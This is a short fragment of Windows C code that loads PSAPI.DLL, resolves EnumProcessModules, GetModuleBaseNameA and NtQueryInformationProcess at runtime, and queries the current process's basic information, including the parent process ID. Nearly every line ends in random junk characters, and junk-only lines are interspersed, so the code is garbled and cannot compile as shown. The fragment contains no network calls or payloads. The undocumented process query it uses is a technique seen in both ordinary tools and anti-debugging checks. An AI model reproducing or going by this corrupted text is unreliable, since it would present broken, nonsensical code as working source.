ULONG InheritedFromUniqueProcessId; kojG-M
} PROCESS_BASIC_INFORMATION; xh'^c^1
O-GxUHwWr
PROCNTQSIP NtQueryInformationProcess; G=$}5; t
9O >z4o
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mTjm92
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `jW4H$D
XS/n>C
HANDLE hProcess; $%He$t
PROCESS_BASIC_INFORMATION pbi; 1P5LH5
v ($L
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #]zhZW4
if(NULL == hInst ) return 0; R+Lk~X^*l'
IK?]PmN4}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wgZrrq/W|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <IH*\q:7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )F
E8D
TcZN%
if (!NtQueryInformationProcess) return 0; x7gjG"V
gb_X?j%p7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
q)oN2-
if(!hProcess) return 0; _80ns&q
m<FK;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4WG=m}X
n_;S2KM
CloseHandle(hProcess); \\s?B K
'>]&r